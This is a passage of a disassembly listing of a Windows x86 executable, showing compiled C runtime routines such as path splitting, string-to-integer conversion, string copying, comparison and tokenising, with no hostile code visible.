frame sub_41C151 proc near ; CODE XREF: ___:00401318p ; sub_401AC7+2164p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B960 cmp eax, 1 pop ecx jb short loc_41C18C cmp byte ptr [ebx+1], 3Ah jnz short loc_41C18C mov esi, [ebp+arg_4] test esi, esi jz short loc_41C188 push 2 push ebx push esi call sub_4201BE add esp, 0Ch and byte ptr [esi+2], 0 loc_41C188: ; CODE XREF: sub_41C151+25j inc ebx inc ebx jmp short loc_41C196 ; --------------------------------------------------------------------------- loc_41C18C: ; CODE XREF: sub_41C151+18j ; sub_41C151+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C196 and byte ptr [eax], 0 loc_41C196: ; CODE XREF: sub_41C151+39j ; sub_41C151+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C20E loc_41C1A9: ; CODE XREF: sub_41C151+87j mov cl, [eax] movzx edx, cl test byte_4DAC81[edx], 4 jz short loc_41C1BA inc eax jmp short loc_41C1D4 ; --------------------------------------------------------------------------- loc_41C1BA: ; CODE XREF: sub_41C151+64j cmp cl, 2Fh jz short loc_41C1CE cmp cl, 5Ch jz short loc_41C1CE cmp cl, 2Eh jnz short loc_41C1D4 mov [ebp+var_4], eax jmp short loc_41C1D4 ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C151+6Cj ; sub_41C151+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C1D4: ; CODE XREF: sub_41C151+67j ; sub_41C151+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C1A9 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C20E cmp [ebp+arg_8], 0 jz short loc_41C209 sub edi, ebx cmp edi, esi jb short loc_41C1F2 mov edi, esi loc_41C1F2: ; CODE XREF: sub_41C151+9Dj push edi push ebx push [ebp+arg_8] call sub_4201BE mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C209: ; CODE XREF: sub_41C151+97j mov ebx, [ebp+arg_4] jmp short loc_41C218 ; --------------------------------------------------------------------------- loc_41C20E: ; CODE XREF: sub_41C151+56j ; sub_41C151+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C218 and byte ptr [ecx], 0 loc_41C218: ; CODE XREF: sub_41C151+BBj ; sub_41C151+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C26B cmp edi, ebx jb short loc_41C26B cmp [ebp+arg_C], 0 jz short loc_41C248 sub edi, ebx cmp edi, esi jb short loc_41C231 mov edi, esi loc_41C231: ; CODE XREF: sub_41C151+DCj push edi push ebx push [ebp+arg_C] call sub_4201BE mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C248: ; CODE XREF: sub_41C151+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C293 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C258 mov esi, eax loc_41C258: ; CODE XREF: sub_41C151+103j push esi push [ebp+var_4] push edi call sub_4201BE add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C293 ; --------------------------------------------------------------------------- loc_41C26B: ; CODE XREF: sub_41C151+CCj ; sub_41C151+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C289 sub eax, ebx cmp eax, esi jnb short loc_41C27A mov esi, eax loc_41C27A: ; CODE XREF: sub_41C151+125j push esi push ebx push edi call sub_4201BE add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C289: ; CODE XREF: sub_41C151+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C293 and byte ptr [eax], 0 loc_41C293: ; CODE XREF: sub_41C151+FCj ; sub_41C151+118j ... pop edi pop esi pop ebx leave retn sub_41C151 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C2A0 proc near ; CODE XREF: sub_40194F+8p ; sub_401AC7+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C2C0 loc_41C2AC: ; CODE XREF: sub_41C2A0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C2AC loc_41C2C0: ; CODE XREF: sub_41C2A0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C2A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2CF proc near ; CODE XREF: sub_401AC7+73E0p ; sub_401AC7+740Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C2E3 xor eax, eax jmp short loc_41C319 ; --------------------------------------------------------------------------- loc_41C2E3: ; CODE XREF: sub_41C2CF+Ej dec [ebp+arg_4] push esi jz short loc_41C313 mov esi, [ebp+arg_8] loc_41C2EC: ; CODE XREF: sub_41C2CF+42j dec dword ptr [esi+4] js short loc_41C2FB mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C302 ; --------------------------------------------------------------------------- loc_41C2FB: ; CODE XREF: sub_41C2CF+20j push esi call sub_41EF78 pop ecx loc_41C302: ; CODE XREF: sub_41C2CF+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C31D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C313 dec [ebp+arg_4] jnz short loc_41C2EC loc_41C313: ; CODE XREF: sub_41C2CF+18j ; sub_41C2CF+3Dj ... and byte ptr [edi], 0 loc_41C316: ; CODE XREF: sub_41C2CF+55j mov eax, ebx pop esi loc_41C319: ; CODE XREF: sub_41C2CF+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C31D: ; CODE XREF: sub_41C2CF+36j cmp edi, [ebp+arg_0] jnz short loc_41C313 xor ebx, ebx jmp short loc_41C316 sub_41C2CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C326 proc near ; CODE XREF: sub_41C52E+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C33E: ; CODE XREF: sub_41C326+46j cmp dword_43A88C, 1 jle short loc_41C356 movzx eax, bl push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_41C365 ; --------------------------------------------------------------------------- loc_41C356: ; CODE XREF: sub_41C326+1Fj mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C365: ; CODE XREF: sub_41C326+2Ej test eax, eax jz short loc_41C36E mov bl, [esi] inc esi jmp short loc_41C33E ; --------------------------------------------------------------------------- loc_41C36E: ; CODE XREF: sub_41C326+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C37C or [ebp+arg_C], 2 jmp short loc_41C381 ; --------------------------------------------------------------------------- loc_41C37C: ; CODE XREF: sub_41C326+4Ej cmp bl, 2Bh jnz short loc_41C387 loc_41C381: ; CODE XREF: sub_41C326+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C387: ; CODE XREF: sub_41C326+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C51E cmp eax, 1 jz loc_41C51E cmp eax, 24h jg loc_41C51E push 10h test eax, eax pop ecx jnz short loc_41C3CF cmp bl, 30h jz short loc_41C3B9 mov [ebp+arg_8], 0Ah jmp short loc_41C3EB ; --------------------------------------------------------------------------- loc_41C3B9: ; CODE XREF: sub_41C326+88j mov al, [esi] cmp al, 78h jz short loc_41C3CC cmp al, 58h jz short loc_41C3CC mov [ebp+arg_8], 8 jmp short loc_41C3EB ; --------------------------------------------------------------------------- loc_41C3CC: ; CODE XREF: sub_41C326+97j ; sub_41C326+9Bj mov [ebp+arg_8], ecx loc_41C3CF: ; CODE XREF: sub_41C326+83j cmp [ebp+arg_8], ecx jnz short loc_41C3EB cmp bl, 30h jnz short loc_41C3EB mov al, [esi] cmp al, 78h jz short loc_41C3E3 cmp al, 58h jnz short loc_41C3EB loc_41C3E3: ; CODE XREF: sub_41C326+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C3EB: ; CODE XREF: sub_41C326+91j ; sub_41C326+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C3FB: ; CODE XREF: sub_41C326+16Cj cmp dword_43A88C, 1 movzx esi, bl jle short loc_41C413 push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_41C41E ; --------------------------------------------------------------------------- loc_41C413: ; CODE XREF: sub_41C326+DFj mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_41C41E: ; CODE XREF: sub_41C326+EBj test eax, eax jz short loc_41C42A movsx ecx, bl sub ecx, 30h jmp short loc_41C45C ; --------------------------------------------------------------------------- loc_41C42A: ; CODE XREF: sub_41C326+FAj cmp dword_43A88C, 1 jle short loc_41C43E push edi push esi call sub_41F44A pop ecx pop ecx jmp short loc_41C449 ; --------------------------------------------------------------------------- loc_41C43E: ; CODE XREF: sub_41C326+10Bj mov eax, off_43A680 mov ax, [eax+esi*2] and eax, edi loc_41C449: ; CODE XREF: sub_41C326+116j test eax, eax jz short loc_41C497 movsx eax, bl push eax call sub_420248 pop ecx mov ecx, eax sub ecx, 37h loc_41C45C: ; CODE XREF: sub_41C326+102j cmp ecx, [ebp+arg_8] jnb short loc_41C497 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C481 jnz short loc_41C47B or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C481 loc_41C47B: ; CODE XREF: sub_41C326+147j or [ebp+arg_C], 4 jmp short loc_41C48A ; --------------------------------------------------------------------------- loc_41C481: ; CODE XREF: sub_41C326+145j ; sub_41C326+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C48A: ; CODE XREF: sub_41C326+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C3FB ; --------------------------------------------------------------------------- loc_41C497: ; CODE XREF: sub_41C326+125j ; sub_41C326+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C4B5 test edx, edx jz short loc_41C4AF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C4AF: ; CODE XREF: sub_41C326+181j and [ebp+var_8], 0 jmp short loc_41C502 ; --------------------------------------------------------------------------- loc_41C4B5: ; CODE XREF: sub_41C326+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C4DB test cl, 1 jnz short loc_41C502 and ecx, 2 jz short loc_41C4D2 cmp [ebp+var_8], 80000000h ja short loc_41C4DB loc_41C4D2: ; CODE XREF: sub_41C326+1A1j test ecx, ecx jnz short loc_41C502 cmp [ebp+var_8], eax jbe short loc_41C502 loc_41C4DB: ; CODE XREF: sub_41C326+197j ; sub_41C326+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4D9714, 22h jz short loc_41C4F1 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C502 ; --------------------------------------------------------------------------- loc_41C4F1: ; CODE XREF: sub_41C326+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C502: ; CODE XREF: sub_41C326+18Dj ; sub_41C326+19Cj ... test edx, edx jz short loc_41C50B mov eax, [ebp+var_4] mov [edx], eax loc_41C50B: ; CODE XREF: sub_41C326+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C519 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C519: ; CODE XREF: sub_41C326+1E9j mov eax, [ebp+var_8] jmp short loc_41C529 ; --------------------------------------------------------------------------- loc_41C51E: ; CODE XREF: sub_41C326+66j ; sub_41C326+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C527 mov [eax], edi loc_41C527: ; CODE XREF: sub_41C326+1FDj xor eax, eax loc_41C529: ; CODE XREF: sub_41C326+1F6j pop edi pop esi pop ebx leave retn sub_41C326 endp ; =============== S U B R O U T I N E ======================================= sub_41C52E proc near ; CODE XREF: sub_401AC7+6131p ; sub_401AC7+6962p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C326 add esp, 10h retn sub_41C52E endp ; =============== S U B R O U T I N E ======================================= sub_41C545 proc near ; CODE XREF: sub_401AC7+58F7p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 26A0759h nop test eax, eax jnz short loc_41C55B nop call near ptr 26A0EA9h jmp short loc_41C55D ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C545+Cj xor eax, eax loc_41C55D: ; CODE XREF: sub_41C545+14j test eax, eax jz short loc_41C56C push eax call sub_420314 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C56C: ; CODE XREF: sub_41C545+1Aj xor eax, eax retn sub_41C545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C56F proc near ; CODE XREF: sub_401AC7+584Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_42037B mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F5D4 push [ebp+arg_0] mov edi, eax push esi call sub_420408 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C56F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5B0 proc near ; CODE XREF: sub_401AC7+1E0Fp ; sub_401AC7+1E2Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C5D1 xor eax, eax jmp short loc_41C5D3 ; --------------------------------------------------------------------------- loc_41C5D1: ; CODE XREF: sub_41C5B0+1Bj mov eax, edi loc_41C5D3: ; CODE XREF: sub_41C5B0+1Fj cld pop edi leave retn sub_41C5B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5E0 proc near ; CODE XREF: sub_401AC7+84Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C611 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C60F jz short loc_41C611 dec ecx dec ecx loc_41C60F: ; CODE XREF: sub_41C5E0+29j not ecx loc_41C611: ; CODE XREF: sub_41C5E0+9j ; sub_41C5E0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C620 proc near ; CODE XREF: sub_401AC7+42Ap ; sub_401AC7+2FEDp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C691 sub_41C620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C630 proc near ; CODE XREF: sub_401AC7+433p ; sub_401AC7+7468p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C64C loc_41C63D: ; CODE XREF: sub_41C630+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C67F test ecx, 3 jnz short loc_41C63D loc_41C64C: ; CODE XREF: sub_41C630+Bj ; sub_41C630+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C64C mov eax, [ecx-4] test al, al jz short loc_41C68E test ah, ah jz short loc_41C689 test eax, 0FF0000h jz short loc_41C684 test eax, 0FF000000h jz short loc_41C67F jmp short loc_41C64C ; --------------------------------------------------------------------------- loc_41C67F: ; CODE XREF: sub_41C630+12j ; sub_41C630+4Bj lea edi, [ecx-1] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C684: ; CODE XREF: sub_41C630+44j lea edi, [ecx-2] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C689: ; CODE XREF: sub_41C630+3Dj lea edi, [ecx-3] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C68E: ; CODE XREF: sub_41C630+39j lea edi, [ecx-4] loc_41C691: ; CODE XREF: sub_41C620+5j ; sub_41C630+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C6B6 loc_41C69D: ; CODE XREF: sub_41C630+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C708 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C69D jmp short loc_41C6B6 ; --------------------------------------------------------------------------- loc_41C6B1: ; CODE XREF: sub_41C630+9Ej ; sub_41C630+B8j mov [edi], edx add edi, 4 loc_41C6B6: ; CODE XREF: sub_41C630+6Bj ; sub_41C630+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C6B1 test dl, dl jz short loc_41C708 test dh, dh jz short loc_41C6FF test edx, 0FF0000h jz short loc_41C6F2 test edx, 0FF000000h jz short loc_41C6EA jmp short loc_41C6B1 ; --------------------------------------------------------------------------- loc_41C6EA: ; CODE XREF: sub_41C630+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C6F2: ; CODE XREF: sub_41C630+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C630+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C708: ; CODE XREF: sub_41C630+72j ; sub_41C630+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C630 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C720 loc_41C710: ; CODE XREF: sub_41C720+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C720 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C720 proc near ; CODE XREF: sub_401AC7+40Fp ; sub_401AC7+4B6p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C710 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C726: ; CODE XREF: sub_41C080+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C74B loc_41C738: ; CODE XREF: sub_41C720+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C710 test cl, cl jz short loc_41C794 test edx, 3 jnz short loc_41C738 loc_41C74B: ; CODE XREF: sub_41C720+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C756: ; CODE XREF: sub_41C720+61j ; sub_41C720+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C798 and eax, 81010100h jz short loc_41C756 and eax, 1010100h jnz short loc_41C792 and esi, 80000000h jnz short loc_41C756 loc_41C792: ; CODE XREF: sub_41C720+68j ; sub_41C720+81j ... pop esi pop edi loc_41C794: ; CODE XREF: sub_41C720+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C798: ; CODE XREF: sub_41C720+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C7D5 test al, al jz short loc_41C792 cmp ah, bl jz short loc_41C7CE test ah, ah jz short loc_41C792 shr eax, 10h cmp al, bl jz short loc_41C7C7 test al, al jz short loc_41C792 cmp ah, bl jz short loc_41C7C0 test ah, ah jz short loc_41C792 jmp short loc_41C756 ; --------------------------------------------------------------------------- loc_41C7C0: ; CODE XREF: sub_41C720+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C7C7: ; CODE XREF: sub_41C720+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C7CE: ; CODE XREF: sub_41C720+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C7D5: ; CODE XREF: sub_41C720+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C7E0 proc near ; CODE XREF: sub_401AC7+1AEp ; sub_401AC7+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C82C loc_41C7F0: ; CODE XREF: sub_41C7E0+3Cj ; sub_41C7E0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+1] jnz short loc_41C824 or ah, ah jz short loc_41C820 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+3] jnz short loc_41C824 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C7F0 mov edi, edi loc_41C820: ; CODE XREF: sub_41C7E0+18j ; sub_41C7E0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C824: ; CODE XREF: sub_41C7E0+14j ; sub_41C7E0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C82C: ; CODE XREF: sub_41C7E0+Ej test edx, 1 jz short loc_41C848 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C824 inc ecx or al, al jz short loc_41C820 test edx, 2 jz short loc_41C7F0 loc_41C848: ; CODE XREF: sub_41C7E0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+1] jnz short loc_41C824 or ah, ah jz short loc_41C820 add ecx, 2 jmp short loc_41C7F0 sub_41C7E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C864 proc near ; CODE XREF: sub_401AC7+B5p ; sub_401AC7+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C87D: ; CODE XREF: sub_41C864+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C87D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C8A5 mov edx, dword_4D9760 loc_41C8A5: ; CODE XREF: sub_41C864+39j ; sub_41C864+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C8C5 test al, al jz short loc_41C8C5 inc edx jmp short loc_41C8A5 ; --------------------------------------------------------------------------- loc_41C8C5: ; CODE XREF: sub_41C864+58j ; sub_41C864+5Cj mov ebx, edx loc_41C8C7: ; CODE XREF: sub_41C864+81j mov al, [edx] test al, al jz short loc_41C8EB movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C8E7 inc edx jmp short loc_41C8C7 ; --------------------------------------------------------------------------- loc_41C8E7: ; CODE XREF: sub_41C864+7Ej and byte ptr [edx], 0 inc edx loc_41C8EB: ; CODE XREF: sub_41C864+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4D9760, edx and eax, ebx pop ebx leave retn sub_41C864 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C900 proc near ; CODE XREF: sub_40981C+1Cp ; sub_415D62+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C93E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C94B ; --------------------------------------------------------------------------- loc_41C93E: ; CODE XREF: sub_41C900+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C94B: ; CODE XREF: sub_41C900+3Cj mov eax, esi pop esi leave retn sub_41C900 endp ; =============== S U B R O U T I N E ======================================= sub_41C950 proc near ; CODE XREF: sub_40ADD4+88p ; sub_40B901+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CA04 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C97A loc_41C96B: ; CODE XREF: sub_41C950+28j mov al, [edi] inc edi test al, al jz short loc_41C9AB test edi, 3 jnz short loc_41C96B loc_41C97A: ; CODE XREF: sub_41C950+19j ; sub_41C950+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C97A mov eax, [edi-4] test al, al jz short loc_41C9B8 test ah, ah jz short loc_41C9B3 test eax, 0FF0000h jz short loc_41C9AE test eax, 0FF000000h jnz short loc_41C97A loc_41C9AB: ; CODE XREF: sub_41C950+20j dec edi jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9AE: ; CODE XREF: sub_41C950+52j sub edi, 2 jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9B3: ; CODE XREF: sub_41C950+4Bj sub edi, 3 jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9B8: ; CODE XREF: sub_41C950+47j sub edi, 4 loc_41C9BB: ; CODE XREF: sub_41C950+5Cj ; sub_41C950+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C9D0 mov ebx, ecx shr ecx, 2 jnz short loc_41CA1C jmp short loc_41C9EC ; --------------------------------------------------------------------------- loc_41C9D0: ; CODE XREF: sub_41C950+75j ; sub_41C950+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CA0A mov [edi], dl inc edi dec ecx jz short loc_41CA00 test esi, 3 jnz short loc_41C9D0 mov ebx, ecx shr ecx, 2 jnz short loc_41CA1C loc_41C9EC: ; CODE XREF: sub_41C950+7Ej ; sub_41C950+CAj mov ecx, ebx and ecx, 3 jz short loc_41CA00 loc_41C9F3: ; CODE XREF: sub_41C950+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CA02 dec ecx jnz short loc_41C9F3 loc_41CA00: ; CODE XREF: sub_41C950+8Bj ; sub_41C950+A1j mov [edi], cl loc_41CA02: ; CODE XREF: sub_41C950+ABj pop ebx pop esi loc_41CA04: ; CODE XREF: sub_41C950+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CA0A: ; CODE XREF: sub_41C950+85j ; sub_41C950+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA14: ; CODE XREF: sub_41C950+E4j ; sub_41C950+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C9EC loc_41CA1C: ; CODE XREF: sub_41C950+7Cj ; sub_41C950+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CA14 test dl, dl jz short loc_41CA0A test dh, dh jz short loc_41CA68 test edx, 0FF0000h jz short loc_41CA58 test edx, 0FF000000h jnz short 